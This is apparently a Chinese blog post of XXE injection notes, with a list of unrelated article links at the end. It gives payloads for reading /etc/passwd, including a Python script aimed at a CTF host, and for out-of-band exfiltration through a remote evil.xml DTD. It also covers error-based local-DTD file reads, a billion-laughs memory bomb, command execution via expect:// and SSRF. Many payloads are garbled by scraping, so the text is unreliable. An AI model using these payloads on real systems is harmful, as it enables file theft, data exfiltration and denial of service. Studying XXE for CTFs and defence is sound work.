当前位置: 首页 > ai >正文

XXE记录

特征:1.url是.ashx后缀 2.响应体是xml
XML
XML,一种可拓展标记语言,被用来传输和存储数据(宗旨是传输数据)。标签没有被预定义,需要自行定义标签。
格式:第一部分为XML声明、第二部分为文档类型定义、第三部分为文档元素

<?xml version="1.0" enncoding="UTF-8"?>

]>

&cat; 18 '''

DTD
DTD(文档类型定义),作用是定义XML文档的合法构建模块。DTD可以在XML文档内部声明,也可以外部引用。
内部声明DTD

引用外部DTD

XXE
XXE注入,即XML External Entity,XML外部实体注入。通过 XML 实体,”SYSTEM”关键词导致 XML 解析器可以从本地文件或者远程 URI 中读取数据。

漏洞利用
1、有回显读取本地文件
通过上传带有!ENTITY,指向外部文件的XML文件,DTD中定义了xxe的外部实体,在元素name中处罚,并渲染内容/etc/passwd

<?xml version="1.0"?> ]>

&nn;

import requests

url = “http://node2.anna.nssctf.cn:28487/ghctf”

xml = ‘’'<?xml version="1.0"?>

]>

&nn; 18 '''

response = requests.post(url, data={“xml”: xml})
print(rsponse.text)

2、无回显加载远程DTD
无回显的文件读取可以通过blind XXE方法+外带数据通道(OOB)来提取数据。
(也可以使用网站进行测试:http://ceye.io/payloads)

<?xml version="1.0" encoding="UTF-8"?>

%remote;]>

先使用php://filter获取目标文件内容,然后将内容以http请求发送到接收数据的服务器来读取数据。
%dtd请求远程服务器(攻击机)上的evil.xml,然后%payload调用%file,%file获取对方服务器上的敏感文件,最后替换%send,数据被发送到攻击机上,实现数据的外带

<?xml version="1.0"?> <!ENTITY % dtd SYSTEM "http://xxx.xxx.xxx.xxx/evil.xml">

%dtd;
%send;
]>
服务器端evil.xml

<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://xxx.xxx.xxx.xxx/?content=%file;'>"> %payload;

//%号要进行实体编码成&#x25
下面是两种或无回显的模板可以参考

<?xml version="1.0" encoding="utf-8"?> <!ENTITY % dtd SYSTEM "http://localhost:88/evil.xml">

%dtd; %all;
]>
&send;

evil.xml文件内容为:

<!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:88%file;'>"> <?xml version="1.0" encoding="utf-8"?> <!ENTITY % dtd SYSTEM "http://localhost:88/evil.xml">

%dtd;
%send;
]>

evil.xml文件内容为:

<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://localhost:88/?content=%file;'>"> %payload;

3、无回显加载本地DTD
如果目标有防火墙等设备,不允许外连,可以采用基于错误回显的xxe,其中最流行的一种就是加载本地DTD文件。

<?xml version="1.0" ?> <!ENTITY % condition'aaa)>
<!ENTITY &#x25;file SYSTEM "file:///etc/passwd">SYSTEM &#x27;<!ENTITY &#x25; eval " 
<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
<!ENTITY aa (bb'>

%local_dtd;
]>
any text

/opt/IBM/Websphere/AppServer/properties/sip-app10.dtd 是websphere上默认存在的dtd,可以通过加载它触发报错返回读取文件的内容。

4、Dos攻击
xml炸弹,当xml解析器尝试解析改文件时,由于DTD的定义指数级展开,这个1k不到的文件会占用3G左右的内存。

<?xml version="1.0"?> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">

]>
&lol9;

5、命令执行
在php环境下,xml实现命令执行需要php装有expect拓展(默认没装)。
测试代码:

<?php $xml = <<

]>
&f;
EOF;
d a t a = s i m p l e x m l l o a d s t r i n g ( data = simplexml_load_string( data=simplexmlloadstring(xml);
print_r($data);
?>
payload:

<?xml version="1.0" encoding="utf-8"?>
<!ENTITY xxe SYSTEM "expect://pwd">

]>
&xxe;

6、SSRF
通常触发点在ENTITY实体中
payload:

<?xml version="1.0" ?>
%ssrf;

]>

http://www.xdnf.cn/news/5664.html

相关文章:

  • 如何使用人工智能翻译WordPress网站
  • 如何进行前端性能测试?--性能标准
  • SnowAdmin - 功能丰富、简单易用的开源的后台管理框架,基于 Vue3 / TypeScript / Arco Design 等技术栈打造
  • Docke容器下JAVA系统时间与Linux服务器时间不一致问题解决办法
  • RN 鸿蒙混合开发实践(踩坑)
  • 用生活例子通俗理解 Python OOP 四大特性
  • 大中台,小前台:企业数字化转型的核心引擎
  • 多样本整合Banksy空间聚类分析(Visium HD, Xenium, CosMx)
  • Vector ASAP2
  • 智能网联汽车“内外协同、虚实共生”的通信生态
  • 理解多智能体深度确定性策略梯度MADDPG算法:基于python从零实现
  • TestNG接口自动化
  • Clion远程开发git触发“No such device or address”的解决方案
  • C++ 的 VS 项目中引入跨平台包管理工具 conan
  • IDEA 插件推荐:提升编程效率
  • P1874 快速求和
  • 笔记本电脑升级实战手册[3]:扩展内存与硬盘
  • Matlab 234-锂电池充放电仿真
  • 在 .NET 8 开发的WinForms 程序中展示程序版本号的几种方式
  • 运行Spark程序-在Idea中(二)
  • 汽车紧固件涂层18问:看敦普无铬锌铝涂料如何为螺丝防锈防腐
  • 多重背包、分组背包、混合背包和多维背包
  • 交易所开发-如何开发一个交易所
  • 【C语言】宏经典练习题,交换奇偶位
  • 直播:怎样用Agentic AI搭建企业AI应用?5.24日,拆解新一代“智能客服系统”案例
  • GitDiagram - GitHub 仓库可视化工具
  • 神经网络初步学习——感知机
  • EnumUtils:你的枚举“变形金刚“——让枚举操作不再手工作业
  • 第六章 Java基础-方法
  • 基于STM32、HAL库的BMP388 气压传感器 驱动程序设计